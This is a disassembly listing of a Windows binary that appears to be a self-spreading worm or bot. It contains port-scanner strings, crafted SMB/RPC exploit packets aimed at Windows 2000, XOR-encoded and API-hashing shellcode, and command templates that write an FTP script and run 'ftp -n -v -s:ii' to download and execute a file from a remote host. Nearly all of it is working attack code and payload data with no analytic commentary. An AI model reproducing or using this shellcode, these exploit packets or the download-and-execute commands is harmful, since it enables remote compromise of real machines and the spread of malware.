		align 4
aScanStats	db 'scan: stats:',0     ; DATA XREF: sub_422B40+336o
		align 4
aScanTooManyThr	db 'scan: too many threads (%s)',0 ; DATA XREF: sub_422B40+275o
		dd 2 dup(0)
aScanCouldnTSto	db 'scan: couldn',27h,'t stop',0 ; DATA XREF: sub_422B40+1DAo
		align 10h
aScanStoppedDTh	db 'scan: stopped (%d threads)',0 ; DATA XREF: sub_422B40+197o
		align 10h
aFtpPortDTotalS	db 'ftp: port: %d, total sends: %d',0 ; DATA XREF: sub_422B40+140o
		align 10h
		dd 2 dup(0)
aScanNotStarted	db 'scan: not started',0 ; DATA XREF: sub_422B40+B2o
		align 10h
aScanCipS	db 'scan: cip (%s)',0   ; DATA XREF: sub_422B40+6Do
		align 10h
		dd 0
dword_4456E4	dd 6B636F53h, 63207465h, 65736F6Ch, 2E64h, 0aRecvfromSocket	db 'recvfrom() socket failed',0 ; DATA XREF: ___:loc_423C42o
		align 8
aSocketOpen_	db 'Socket open.',0     ; DATA XREF: ___:00423C25o
		align 4
aSendtoSocketFa	db 'sendto() socket failed. sent = %d <%d>.',0 ; DATA XREF: ___:00423B95o
dword_445750	dd 2 dup(0)	aSocketOpenFail	db 'socket open failed',0 ; DATA XREF: ___:00423B5Fo
		align 10h
aScanIpSPortDIs	db '[SCAN]: IP: %s, Port %d is open.',0 ; DATA XREF: ___:00423E37o
		align 8
aScanIpSDScanTh	db '[SCAN]: IP: %s:%d, Scan thread: %d, Sub-thread: %d.',0
					; DATA XREF: ___:00423DD6o
		dd 3 dup(0)
aScanFinishedAt	db '[SCAN]: Finished at %s:%d after %d minute(s) of scanning.',0
					; DATA XREF: ___:004242B7o
		align 10h
aScanFailedToSt	db '[SCAN]: Failed to start worker thread, error: <%d>.',0
					; DATA XREF: ___:00424206o
		align 10h
aScanSDScanThre	db '[SCAN]: %s:%d, Scan thread: %d, Sub-thread: %d.',0
					; DATA XREF: ___:0042414Fo
		dd 3 dup(0)
aRbrbrbrb	db 'BBBB',0         ; DATA XREF: sub_424920+BDo
		align 4
dword_4458A8	dd 10FF8h, 0	dword_4458B0	dd 10FF8h	dword_4458B4	dd 7FFDF020h, 0	dword_4458BC	dd 424D53FFh, 72h, 0C8531800h, 3 dup(0)		dd 13370000h, 0
		dd 2006200h
aPcNetworkProgr	db 'PC NETWORK PROGRAM 1.0',0
		db 2
		db  4Ch	; L
		db 41h,	4Eh, 4Dh
		db  41h	; A
		db 4Eh,	31h, 2Eh
		db  30h	; 0
		align 2
		dw 5702h
aIndowsForWorkg	db 'indows for Workgroups 3.1a',0
		db 2
		dd 2E314D4Ch, 30305832h, 4C020032h, 414D4E41h, 312E324Eh
		dd 544E0200h, 204D4C20h, 32312E30h, 0
dword_445944	dd 424D53FFh, 73h, 0C8071800h, 3 dup(0)		dd 13370000h, 0
		dd 0FF0Ch, 0A110400h, 2	dup(0)
dword_445974	dd 0		dword_445978	dd 800000D4h			align 10h

; =============== S U B	R O U T	I N E =======================================



sub_445980	proc near		; DATA XREF: sub_425100+85o
		push	ebx
		push	esi
		push	edi
		sub	sp, 80h
		mov	esi, esp
		call	sub_445A7C
		push	dword ptr [esi]
		push	63D61209h
		call	sub_445A92
		mov	[esi+8], eax
		call	sub_445A45
		push	dword ptr [esi+4]
		push	0CA2BD06Bh
		call	sub_445A92
		mov	[esi+0Ch], eax
		call	sub_4459F7
		push	dword ptr [esi+4]
		push	4C0297FAh
		call	sub_445A92
		xor	ebx, ebx
		push	410h
		push	ebx
		call	eax
		mov	ebx, eax
		push	esi
		mov	esi, [esi+10h]
		mov	edi, eax
		mov	ecx, 410h
		rep movsb
		pop	esi
		xor	eax, eax
		push	eax
		push	eax
		push	eax
		push	ebx
		push	eax
		push	eax
		call	dword ptr [esi+0Ch]
		mov	eax, [esi+8]
		add	sp, 80h
		pop	edi
		pop	esi
		pop	ebx
		jmp	eax
sub_445980	endp


; =============== S U B	R O U T	I N E =======================================



sub_4459F7	proc near		; CODE XREF: sub_445980+33p

var_20		= dword	ptr -20h
var_14		= dword	ptr -14h

		pusha
		call	sub_445A20
		mov	eax, [esp+20h+var_14]
		lea	ebx, [eax+7Ch]
		add	dword ptr [ebx+3Ch], 5
		add	dword ptr [ebx+28h], 1000h
		and	dword ptr [ebx+28h], 0FFFFF000h
		mov	eax, [esp+20h+var_20]
		add	esp, 14h
		push	eax
		xor	eax, eax
		retn
sub_4459F7	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_445A20	proc near		; CODE XREF: sub_4459F7+1p
		xor	edx, edx
		push	dword ptr fs:[edx]
		mov	fs:[edx], esp
		xor	ebx, ebx
		mov	eax, 42904290h


loc_445A2F:				; CODE XREF: sub_445A20+1Aj
		xor	ecx, ecx
		mov	cl, 2
		mov	edi, ebx
		repe scasd
		jz	short loc_445A3C
		inc	ebx
		jmp	short loc_445A2F
; ---------------------------------------------------------------------------


loc_445A3C:				; CODE XREF: sub_445A20+17j
		mov	[esi+10h], edi
		pop	dword ptr fs:[edx]
		pop	eax
		popa
		retn
sub_445A20	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_445A45	proc near		; CODE XREF: sub_445980+1Ep
		pusha
		mov	edi, 7FFDF020h
		mov	ebx, [edi]
		mov	eax, [esi+8]
		mov	[edi], eax
		mov	edi, [edi-8]
		add	edi, 178h
		mov	ecx, edi


loc_445A5D:				; CODE XREF: sub_445A45+1Ej
		cmp	[ecx], ebx
		jz	short loc_445A65
		mov	ecx, [ecx]
		jmp	short loc_445A5D
; ---------------------------------------------------------------------------


loc_445A65:				; CODE XREF: sub_445A45+1Aj
		mov	edx, edi


loc_445A67:				; CODE XREF: sub_445A45+2Aj
		cmp	[edx+4], ebx
		jz	short loc_445A71
		mov	edx, [edx+4]
		jmp	short loc_445A67
; ---------------------------------------------------------------------------


loc_445A71:				; CODE XREF: sub_445A45+25j
		mov	[ecx], edx
		mov	[edx+4], ecx
		mov	byte ptr [ebx-3], 1
		popa
		retn
sub_445A45	endp


; =============== S U B	R O U T	I N E =======================================



sub_445A7C	proc near		; CODE XREF: sub_445980+Ap
		mov	eax, ds:7FFDF00Ch
		mov	eax, [eax+1Ch]
		mov	ebx, [eax+8]
		mov	[esi], ebx
		mov	eax, [eax]
		mov	eax, [eax+8]
		mov	[esi+4], eax
		retn
sub_445A7C	endp


; =============== S U B	R O U T	I N E =======================================



sub_445A92	proc near		; CODE XREF: sub_445980+16p
					; sub_445980+2Bp ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		pusha
		mov	ebp, [esp+20h+arg_4]
		mov	eax, [ebp+3Ch]
		mov	edx, [ebp+eax+78h]
		add	edx, ebp
		mov	ecx, [edx+18h]
		mov	ebx, [edx+20h]
		add	ebx, ebp


loc_445AA8:				; CODE XREF: sub_445A92+33j
		jecxz	short loc_445AE2
		dec	ecx
		mov	esi, [ebx+ecx*4]
		add	esi, ebp
		xor	edi, edi
		xor	eax, eax
		cld


loc_445AB5:				; CODE XREF: sub_445A92+2Dj
		lodsb
		cmp	al, ah
		jz	short loc_445AC1
		ror	edi, 0Dh
		add	edi, eax
		jmp	short loc_445AB5
; ---------------------------------------------------------------------------


loc_445AC1:				; CODE XREF: sub_445A92+26j
		cmp	edi, [esp+20h+arg_0]
		jnz	short loc_445AA8
		mov	ebx, [edx+24h]
		add	ebx, ebp
		mov	cx, [ebx+ecx*2]
		mov	ebx, [edx+1Ch]
		add	ebx, ebp
		mov	eax, [ebx+ecx*4]
		add	eax, ebp
		mov	[esp+20h+var_4], eax
		popa
		retn	8
; ---------------------------------------------------------------------------


loc_445AE2:				; CODE XREF: sub_445A92:loc_445AA8j
					; sub_445A92:loc_445AE2j
		jmp	short loc_445AE2
sub_445A92	endp

; ---------------------------------------------------------------------------
		align 8

; =============== S U B	R O U T	I N E =======================================



sub_445AE8	proc near		; DATA XREF: sub_425100+1Eo

arg_0		= dword	ptr  4

		add	esp, 0FFFFF254h
		cld
		call	sub_445B3A
		mov	eax, [ebp+3Ch]
		mov	edi, [ebp+eax+78h]
		add	edi, ebp
		mov	ecx, [edi+18h]
		mov	ebx, [edi+20h]
		add	ebx, ebp


loc_445B05:				; CODE XREF: sub_445AE8+38j
		jecxz	short loc_445B35
		dec	ecx
		mov	esi, [ebx+ecx*4]
		add	esi, ebp
		xor	eax, eax
		cdq


loc_445B10:				; CODE XREF: sub_445AE8+32j
		lodsb
		test	al, al
		jz	short loc_445B1C
		ror	edx, 0Dh
		add	edx, eax
		jmp	short loc_445B10
; ---------------------------------------------------------------------------


loc_445B1C:				; CODE XREF: sub_445AE8+2Bj
		cmp	edx, [esp+arg_0]
		jnz	short loc_445B05
		mov	ebx, [edi+24h]
		add	ebx, ebp
		mov	cx, [ebx+ecx*2]
		mov	ebx, [edi+1Ch]
		add	ebx, ebp
		mov	ebx, [ebx+ecx*4]
		add	ebx, ebp


loc_445B35:				; CODE XREF: sub_445AE8:loc_445B05j
		mov	[esp+arg_0], ebx
		retn
sub_445AE8	endp


; =============== S U B	R O U T	I N E =======================================



sub_445B3A	proc near		; CODE XREF: sub_445AE8+7p

; FUNCTION CHUNK AT 00445B72 SIZE 00000005 BYTES

		xor	eax, eax
		mov	eax, fs:[eax+30h]
		test	eax, eax
		js	short loc_445B53
		mov	eax, [eax+0Ch]
		mov	esi, [eax+1Ch]
		lodsd
		mov	ebp, [eax+8]
		jmp	loc_445B5E
; ---------------------------------------------------------------------------


loc_445B53:				; CODE XREF: sub_445B3A+8j
		mov	eax, [eax+34h]
		add	eax, 7Ch
		mov	ebp, [eax+3Ch]


loc_445B5E:				; CODE XREF: sub_445B3A+14j
		pop	edi
		xor	esi, esi
		pusha
		push	esi
		jmp	short loc_445B72
sub_445B3A	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_445B65	proc near		; CODE XREF: sub_445B3A:loc_445B72p
		push	60E0CEEFh
		push	0E8AFE98h
		push	edi
		jmp	edi
sub_445B65	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_445B3A


loc_445B72:				; CODE XREF: sub_445B3A+29j
		call	sub_445B65
; END OF FUNCTION CHUNK	FOR sub_445B3A
; ---------------------------------------------------------------------------
		db 0
		dd 25h dup(0)
dword_445C0C	dd 23h		dword_445C10	dd 60h		dword_445C14	dd 62B0606h, 2050501h, 0A0hdword_445C20	dd 0A1h		dword_445C24	dd 3		aCccc		db 'CCCC',0             ; DATA XREF: sub_424920+16Do
		align 10h


loc_445C30:				; DATA XREF: sub_424920+100o
		jmp	short near ptr dword_445C38
; ---------------------------------------------------------------------------
		align 8
dword_445C38	dd 0		aCmdCEchoOpenSD	db 'cmd /c echo open %s %d >> ii &echo user a a >> ii &echo binary >>'
					; DATA XREF: sub_425100+60o
		db ' ii &echo get %s >> ii &echo bye >> ii &ftp -n -v -s:ii &del ii &'
		db '%s',0Dh,0Ah,0
		align 4
		dd 7 dup(0)
; ---------------------------------------------------------------------------
		jmp	short loc_445CF2

; =============== S U B	R O U T	I N E =======================================



sub_445CE2	proc far		; CODE XREF: sub_445CE2:loc_445CF2p
		pop	ebx
		dec	ebx
		xor	ecx, ecx
		mov	cx, 125h


loc_445CEA:				; CODE XREF: sub_445CE2+Cj
		xor	byte ptr [ebx+ecx], 99h
		loop	loc_445CEA
		jmp	short loc_445CF7
; ---------------------------------------------------------------------------


loc_445CF2:				; CODE XREF: ___:00445CE0j
		call	near ptr sub_445CE2


loc_445CF7:				; CODE XREF: sub_445CE2+Ej
		jo	short loc_445D5B
		cdq
		cdq
		cdq
		mov	ch, 38h
		test	eax, 12999999h
		fst	dword ptr [ebp+3485E912h]
		adc	dh, cl
		xchg	eax, ecx
		adc	ch, [esi-0Dh]
		popf
		sal	byte ptr [ecx+2], 99h
		cdq
		cdq
		jnp	short loc_445D79
		icebp
		stosb
		stosd
		cdq
		cdq
		icebp
		out	dx, al
		jmp	far ptr	128Fh:66CDC6ABh
; ---------------------------------------------------------------------------
		db 71h
		dd 71C09DF3h, 9999991Bh, 7518607Bh, 99999809h, 9898F1CDh
		dd 0CF669999h, 0C9C9C989h, 0D9C9D9C9h, 8DCF66C9h, 0E6F14112h
		dd 0F1989999h, 4B9D999Bh
; ---------------------------------------------------------------------------
		adc	dl, [ebp-0Dh]


loc_445D5B:				; CODE XREF: sub_445CE2:loc_445CF7j
		mov	eax, ecx
		retf	0CF66h
; ---------------------------------------------------------------------------
		dd 0EC591C81h, 0F4FAF1D3h, 0FF1099FDh, 0CD751AA9h, 0F3BDA514h
		dd 7B32C08Ch
		db 64h
; ---------------------------------------------------------------------------


loc_445D79:				; CODE XREF: sub_445CE2+35j
		pop	edi
		fnstsw	word ptr [ebp-22982277h]
		mov	ebp, 0BDC510A4h
		rcl	dword ptr [eax], 1
		lds	edi, [ebp-423AEF2Bh]
		leave
		adc	al, 0DDh
		mov	ebp, 0C8C9CD89h
		enter	0FFFFF3C8h, 98h
		enter	66C8h, 0EFh
		test	eax, 9DCF66C8h
		adc	dl, [ebp-0Dh]
		db	66h, 66h
		test	al, 66h
		iret
sub_445CE2	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		xchg	eax, ecx
		retf	0CF66h
; ---------------------------------------------------------------------------
		dw 6685h
		dd 0CFC895CFh, 12A5DC12h, 9AE1B1CDh, 0EB12CB4Ch, 0AA6C9AB9h
		dd 34D8D050h, 42AA5C9Ah, 0A3892796h, 5891ED4Fh,	439A9452h
		dd 0A26872D9h, 0C37EEC86h, 9ABDC312h, 9512FF44h, 85C312D2h
		dd 9D12449Ah, 325C9A12h, 715AC0C7h, 66666699h, 7597D717h
		dd 8F2A67EBh, 579C4034h, 0F9795776h, 0A2657452h, 346C9040h
		dd 0F9336075h, 0E05FE07Eh, 0
; ---------------------------------------------------------------------------


loc_445E20:				; DATA XREF: sub_4257F0+12Bo
					; sub_4257F0+135o ...
		jmp	short loc_445E32

; =============== S U B	R O U T	I N E =======================================



sub_445E22	proc near		; CODE XREF: sub_445E22:loc_445E32p
		pop	edx
		dec	edx
		xor	ecx, ecx
		mov	cx, 17Dh


loc_445E2A:				; CODE XREF: sub_445E22+Cj
		xor	byte ptr [edx+ecx], 99h
		loop	loc_445E2A
		jmp	short loc_445E37
; ---------------------------------------------------------------------------


loc_445E32:				; CODE XREF: ___:loc_445E20j
		call	sub_445E22


loc_445E37:				; CODE XREF: sub_445E22+Ej
		jo	short near ptr dword_445DB0+1Eh
		cwde
		cdq
		cdq
		retn
sub_445E22	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 0FDh, 38h, 0A9h
		dd 12999999h, 0E91295D9h, 0D9123485h, 12411291h, 0ED12A5EAh
		dd 6A9AE187h, 9AB9E712h, 8DD71262h, 0CECF74AAh,	9AA612C8h
		dd 0F36B1262h, 3F6AC097h, 0C6C091EDh, 0DC9D5E1Ah, 0C6C0707Bh
		dd 125412C7h, 5A9ABDDFh, 589A7848h, 12FF50AAh, 85DF1291h
		dd 78585A9Ah, 12589A9Bh, 125A9A99h, 1A6E1263h, 4912975Fh
		dd 71C09AF3h, 9999991Eh, 0CB945F1Ah, 65CE66CFh,	0F34112C3h
		dd 0ED71C09Ch, 0C9999999h, 0F3C9C9C9h, 669BF398h, 411275CEh
		dd 999B9E5Eh
word_445ED0	dw 4B9Dh		; DATA XREF: sub_4257F0+105w
		dw 59AAh
		dd 0F39DDE10h, 66CACE89h, 98F369CEh, 6DCE66CAh,	66CAC9C9h
		dd 491261CEh, 12DD751Ah, 0F359AA6Dh, 9D10C089h,	10627B17h
		dd 0CF10A1CFh, 0D9CF10A5h, 0B5DF5EFFh, 0DE149898h, 0AACFC989h
		dd 0C8C8C850h, 0C8C898F3h, 0FAA5DE5Eh, 1499FDF4h, 0C8C9A5DEh
		dd 0CB79CE66h, 0CA65CE66h, 0C965CE66h, 0AA7DCE66h, 591C3559h
		dd 0CBC860ECh, 4B66CACFh, 7B32C0C3h, 5A59AA77h,	66677671h
		dd 0EDFCDE66h, 0FAF6EBC9h, 0EBFDFDD8h, 99EAEAFCh, 0F8FCEBDAh
		dd 0EBC9FCEDh, 0EAFCFAF6h, 0DC99D8EAh, 0CDEDF0E1h, 0F8FCEBF1h
		dd 0F6D599FDh, 0F0D5FDF8h, 0EBF8EBFBh, 0EE99D8E0h, 0AAC6ABEAh
		dd 0CACE99ABh, 0FAF6CAD8h, 0D8EDFCF2h, 0F7F0FB99h, 0F0F599FDh
		dd 0F7FCEDEAh, 0FAFAF899h, 99EDE9FCh, 0EAF6F5FAh, 0FAF6EAFCh
		dd 99EDFCF2h, 0
dword_445FB8	dd 85000000h, 424D53FFh, 72h, 0C8531800h, 3 dup(0)
					; DATA XREF: ___:00425E52o
		dd 0FEFF0000h, 0
		dd 2006200h
aPcNetworkPro_0	db 'PC NETWORK PROGRAM 1.0',0
		db 2
		db  4Ch	; L
		db 41h,	4Eh, 4Dh
		db  41h	; A
		db 4Eh,	31h, 2Eh
		db  30h	; 0
		align 2
		dw 5702h
aIndowsForWor_0	db 'indows for Workgroups 3.1a',0
		db 2
		dd 2E314D4Ch, 30305832h, 4C020032h, 414D4E41h, 312E324Eh
		dd 544E0200h, 204D4C20h, 32312E30h, 0
dword_446044	dd 0A4000000h, 424D53FFh, 73h, 0C8071800h, 3 dup(0)
					; DATA XREF: ___:00425E87o
		dd 0FEFF0000h, 100000h,	0A400FF0Ch, 0A110400h, 0
		dd 20000000h, 0
		dd 0D400h, 4E006980h, 534D4C54h, 1005053h, 97000000h, 0E00882h
		dd 4 dup(0)
aWindows2000219:
		unicode	0, <Windows 2000 2195>,0
aWindows20005_0:
		unicode	0, <Windows 2000 5.0>,0
		align 10h
dword_4460F0	dd 0DA000000h, 424D53FFh, 73h, 0C8071800h, 3 dup(0)
					; DATA XREF: ___:00425EB6o
		dd 0FEFF0000h, 200800h,	0DA00FF0Ch, 0A110400h, 0
		dd 57000000h, 0
		dd 0D400h, 4E009F80h, 534D4C54h, 3005053h, 1000000h, 46000100h
		dd 0
		dd 47000000h, 0
		dd 40000000h, 0
		dd 40000000h, 6000000h,	40000600h, 10000000h, 47001000h
		dd 15000000h, 48E0888Ah, 44004F00h, 19810000h, 0E4F27A6Ah
		dd 0AF281C49h, 10742530h, 575367h, 6E0069h, 6F0064h, 730077h
		dd 320020h, 300030h, 200030h, 310032h, 350039h,	570000h
		dd 6E0069h, 6F0064h, 730077h, 320020h, 300030h,	200030h
		dd 2E0035h, 30h, 0
dword_4461D0	dd 5C000000h, 424D53FFh, 75h, 0C8071800h, 3 dup(0)
					; DATA XREF: sub_4257F0+5Do
		dd 0FEFF0000h, 300800h,	5C00FF04h, 1000800h, 3100h, 5C005Ch
		dd 390031h, 2E0032h, 360031h, 2E0038h, 2E0031h,	310032h
		dd 5C0030h, 500049h
		db 43h,	0, 24h
dword_446227	dd 3F000000h	dword_44622B	dd 3F3F3F3Fh	byte_44622F	db 0			; DATA XREF: sub_4257F0+B4r
		dd 0
dword_446234	dd 64000000h, 424D53FFh, 0A2h, 0C8071800h, 3 dup(0)
					; DATA XREF: sub_4257F0+2C2o
		dd 4DC0800h, 400800h, 0DE00FF18h, 0E00DEh, 16h,	0
		dd 2019Fh, 3 dup(0)
		dd 3, 1, 40h, 2, 1103h,	6C005Ch, 610073h, 700072h, 63h
		dd 0
dword_4462A0	dd 9C000000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0)
					; DATA XREF: sub_4257F0+2F5o
		dd 4DC0800h, 500800h, 48000010h, 0
		dd 4, 2	dup(0)
		dd 48005400h, 2005400h,	2600h, 10005940h, 50005Ch, 500049h
		dd 5C0045h, 0
		dd 30B0005h, 10h, 48h, 1, 10B810B8h, 0
		dd 1, 10000h, 3919286Ah, 11D0B10Ch, 0C000A89Bh,	0F52ED94Fh
		dd 0
		dd 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0
dword_446344	dd 0F40C0000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0)
					; DATA XREF: sub_4257F0+3FAo
		dd 4DC0800h, 600800h, 0A0000010h, 0Ch, 4, 2 dup(0)
		dd 0A0005400h, 200540Ch, 2600h,	100CB140h, 50005Ch, 500049h
		dd 5C0045h, 0
		dd 3000005h, 10h, 0CA0h, 1, 0C88h, 90000h, 3ECh, 0
		dd 3ECh, 0
off_4463C4	dd offset sub_401492+3	; DATA XREF: sub_4257F0+42Bo
		dd 3, 40707Ch, 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd offset byte_406FB0+0CCh
		dd 1, 0
		dd 1, 0
		dd offset byte_406FB0+0CCh
		dd 1, 0
		dd 1, 0
		dd offset byte_406FB0+0CCh
		dd 1, 0
		dd 1, 0
		dd 138578h, 0E9A65BABh,	0
dword_446458	dd 0F8100000h, 424D53FFh, 2Fh, 0C8071800h, 3 dup(0)
					; DATA XREF: sub_4257F0+335o
		dd 0FEFF0800h, 600800h,	0DE00FF0Eh, 4000DEh, 0FF000000h
		dd 8FFFFFFh, 10B800h, 4010B800h, 0
		dd 0EE10B900h, 1000005h, 10h, 10B8h, 1,	200Ch, 90000h
		dd 0DADh, 0
		dd 0DADh, 0
dword_4464C4	dd 0D80F0000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0)
					; DATA XREF: sub_4257F0+368o
		dd 1180800h, 700800h, 84000010h, 0Fh, 4, 2 dup(0)
		dd 84005400h, 200540Fh,	2600h, 0F9540h,	50005Ch, 500049h
		dd 5C0045h, 0
		dd 2000005h, 10h, 0F84h, 1, 0F6Ch, 90000h, 0
dword_446538	dd 0				dd offset loc_40A898+2
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd offset loc_40A898+2
		dd 1, 0
		dd 1, 0
		dd offset loc_40A898+2
		dd 1, 0
		dd 1, 0
		dd offset loc_40A898+2
		dd 1, 0
		dd 1, 3	dup(0)
dword_4465C4	dd 1004600h						; sub_4257F0+24Fr
		dd 1, 7515123Ch, 2, 751C123Ch, 75h dup(0)
dword_4467AC	dd 61622E63h, 0A0D74h, 0aEchoExitYC_bat	db 'echo exit /y >>c.bat',0Dh,0Ah,0 ; DATA XREF: sub_4253C0+2A0o
		align 10h
		dd 0
aEchoDelFC_batC	db 'echo del /F c.bat >>c.bat',0Dh,0Ah,0 ; DATA XREF: sub_4253C0+277o
		dd 2 dup(0)
aEchoDel_pifC_b	db 'echo del .pif >>c.bat',0Dh,0Ah,0 ; DATA XREF: sub_4253C0+24Eo
		dd 0
aEchoSC_bat	db 'echo %s >>c.bat',0Dh,0Ah,0 ; DATA XREF: sub_4253C0+221o
		align 4
		dd 0
aEchoFtpNVS_pif	db 'echo ftp -n -v -s:.pif >>c.bat',0Dh,0Ah,0 ; DATA XREF: sub_4253C0+1E9o
		align 10h
		dd 0
aEcho@echoOffC_	db 'echo @echo off >c.bat',0Dh,0Ah,0 ; DATA XREF: sub_4253C0+1BCo
		align 10h
aEchoBye_pif	db 'echo bye>>.pif ',0Dh,0Ah,0 ; DATA XREF: sub_4253C0+18Fo
		align 8
aEchoGetS_pif	db 'echo GET %s>>.pif ',0Dh,0Ah,0 ; DATA XREF: sub_4253C0+162o
		align 10h
		dd 0
aEchoBinary_pif	db 'echo binary>>.pif ',0Dh,0Ah,0 ; DATA XREF: sub_4253C0+12Ao
		align 10h
aEchoUserAA_pif	db 'echo user a a>>.pif ',0Dh,0Ah,0 ; DATA XREF: sub_4253C0+FDo
		align 4
		dd 0
aEchoOpenSD_pif	db 'echo open %s %d>.pif ',0Dh,0Ah,0 ; DATA XREF: sub_4253C0+D0o
		align 8
dword_4468F8	dd 6EB06EBh			align 10h
dword_446900	dd 73255C5Ch, 6370695Ch, 24h					; ___:00426352o
dword_44690C	dd 1CEC8166h	dword_446910	dd 0E4FF07h			align 8
dword_446918	dd 30B0005h, 10h, 48h, 0		dd 16D016D0h, 0
		dd 1, 10000h, 4B324FC8h, 1D31670h, 475A7812h, 88E16EBFh
		dd 3, 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0
dword_446964	dd 3000005h, 10h, 830h,	0		dd 818h, 1F0000h, 0FFFFFFFFh, 1, 0
		dd 1, 2	dup(0)
dword_446994	dd 0FAh, 2, 0			dd 2, 0
		dd 0FAh, 2 dup(0)
dword_4469B4	dd 0D959516Ah, 2474D9EEh		db 0F4h, 5Bh
; ---------------------------------------------------------------------------


loc_4469BE:				; CODE XREF: ___:004469C8j
		xor	dword ptr [ebx+13h], 889097A8h
		sub	ebx, 0FFFFFFFCh
		loop	loc_4469BE
		sub	[ebx+6Fh], edx
		db	67h
		push	edi
		push	7CC274D4h
		frstor	byte ptr [eax+51h]
		push	1CC8776Fh
		cld
		lodsb
		mov	word ptr ds:95EB23B4h[edx*8], ds
; ---------------------------------------------------------------------------
		db 0F0h, 0A9h, 78h
		dd 1CB0C71Bh, 7CA9A8CFh, 1C9C03D9h, 57996691h, 572C2409h
		dd 5D698FE4h, 7C6A899Dh, 0B3FCB364h, 1C4DFDB8h,	7CA9ACCFh
		dd 0DCA403F6h, 96B4D71Bh, 1C848B7Bh, 8B8CE419h,	4C994BF1h
		dd 0A7EB03F4h, 1CA4C81Bh, 1C0594E0h, 0FFF680D0h, 7BA6C61Eh
		dd 0F17E77C0h, 0A4C0EEC3h, 0E4DFE0A2h, 68FCD7A2h, 7A63E040h
		dd 68F8B36Ch, 7221D746h, 9F4509F6h, 95C2DD92h, 4EC0586Fh
		dd 0C0057D99h, 0C4FB5E6Fh, 0D4FBDBC3h, 68FBCBC3h, 86C0EE40h
		dd 1EFBEECCh, 33C01D71h, 0C06FF88Ah, 87C25E6Fh,	4757DDC1h
		dd 0B9052CF8h, 4157DF79h, 4757DDC3h, 11E16DF8h,	4157DFD9h
		dd 0C2FCDCC0h, 0FF3B586Fh, 0EE6EF177h, 0C27E77C7h, 0FDCE586Fh
		dd 0F4C0EEF4h, 0FD4D01FDh, 5B81D1C0h, 0D3C26F19h, 57996A19h
		dd 0D5562263h, 0BBEA76BDh, 0AFD20503h, 0FF03233Bh, 811B76E2h
		dd 68ECFD6Fh, 0C5FFD346h, 0FDF9D9C1h, 0C2F9D991h, 0FF7877C1h
		dd 59AD513Dh, 0FD7E77C3h, 689F776Fh, 6BFF0340h,	68CC4C13h
		dd 4757DA46h, 776667F8h, 4157DBF0h, 586Fh, 19h dup(0)
aOpenSDIiEchoUs	db 'open %s %d >> ii &echo user a a >> ii &echo binary >> ii &echo ge'
					; DATA XREF: sub_426070+D6o
		db 't %s >> ii &echo bye >> ii &ftp -n -v -s:ii &del ii &%s',0Dh,0Ah,0
		align 10h
		dd 6 dup(0)
aSPipeBrowser	db '\\%s\pipe\browser',0 ; DATA XREF: ___:004263B4o
		align 10h
word_446C20	dw 2EBh			; DATA XREF: ___:00426331r
		align 4
dword_446C24	dd 215h				dd 0
dword_446C2C	dd 20804h			dd 0
; ---------------------------------------------------------------------------


loc_446C34:				; DATA XREF: sub_4267D0+CCo
		jmp	short loc_446C38
; ---------------------------------------------------------------------------


loc_446C36:				; CODE XREF: ___:loc_446C38p
		jmp	short loc_446C3D
; ---------------------------------------------------------------------------


loc_446C38:				; CODE XREF: ___:loc_446C34j
		call	loc_446C36


loc_446C3D:				; CODE XREF: ___:loc_446C36j
		pop	ebx
		xor	ecx, ecx
; ---------------------------------------------------------------------------
		db 66h,	0B9h
word_446C42	dw 0FFFFh		; DATA XREF: sub_4267D0+D3w
		db 80h,	73h, 0Eh
byte_446C47	db 0FFh			; DATA XREF: sub_4267D0+DAw
		dd 0F9E243h
; ---------------------------------------------------------------------------


loc_446C4C:				; DATA XREF: sub_4267D0+A7o
		jmp	short loc_446C50
; ---------------------------------------------------------------------------


loc_446C4E:				; CODE XREF: ___:loc_446C50p
		jmp	short loc_446C55
; ---------------------------------------------------------------------------


loc_446C50:				; CODE XREF: ___:loc_446C4Cj
		call	loc_446C4E


loc_446C55:				; CODE XREF: ___:loc_446C4Ej
		pop	ebx
		xor	ecx, ecx
; ---------------------------------------------------------------------------
		db 0B1h
byte_446C59	db 0FFh			; DATA XREF: sub_4267D0+AEw
		dw 7380h
		db 0Ch
byte_446C5D	db 0FFh			; DATA XREF: sub_4267D0+B4w
		dw 0E243h
		dd 0F9h
dword_446C64	dd 364C033h, 0C783040h,	8B0C408Bh, 8BAD1C70h, 9EB0840h
					; DATA XREF: sub_426560+43o
		dd 8D34408Bh, 408B7C40h, 3D08B3Ch, 0CA8B3C40h, 8B784803h
		dd 0DA8B2041h, 331C5903h, 57F633FFh, 3CA8B57h, 7981100Ch
		dd 7373650Ah, 8B027541h, 3798133h, 72685474h, 3B8B0275h
		dd 8304C083h, 0F68504C3h, 0FF85DB74h, 0F203D774h, 0E857FA03h
dword_446CC8	dd 12h				dd 70746674h, 6578652Eh, 20692D20h
dword_446CD8	dd 74656720h	byte_446CDC	db 20h			; DATA XREF: sub_426560+A2r
dword_446CDD	dd 0E8006A00h	dword_446CE1	dd 17h							; sub_426560+D2r
dword_446CE5	dd 0E8C30175h	dword_446CE9	dd 1							; sub_426560+E7r
byte_446CED	db 0, 6Ah, 0		; DATA XREF: sub_426560+110o
		dd 7E8h
		db 0, 0Fh, 84h
dword_446CF7	dd 0FFFFFFEDh	; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
		pop	eax
		pop	ebx
		pop	ebp
		push	eax
		sub	esp, 54h
		xor	eax, eax
		mov	edi, esp
		lea	ecx, [eax+40h]
		mov	edx, edi
		rep stosb
		mov	al, 44h
		stosd
		push	edi
		push	edx
		push	ecx
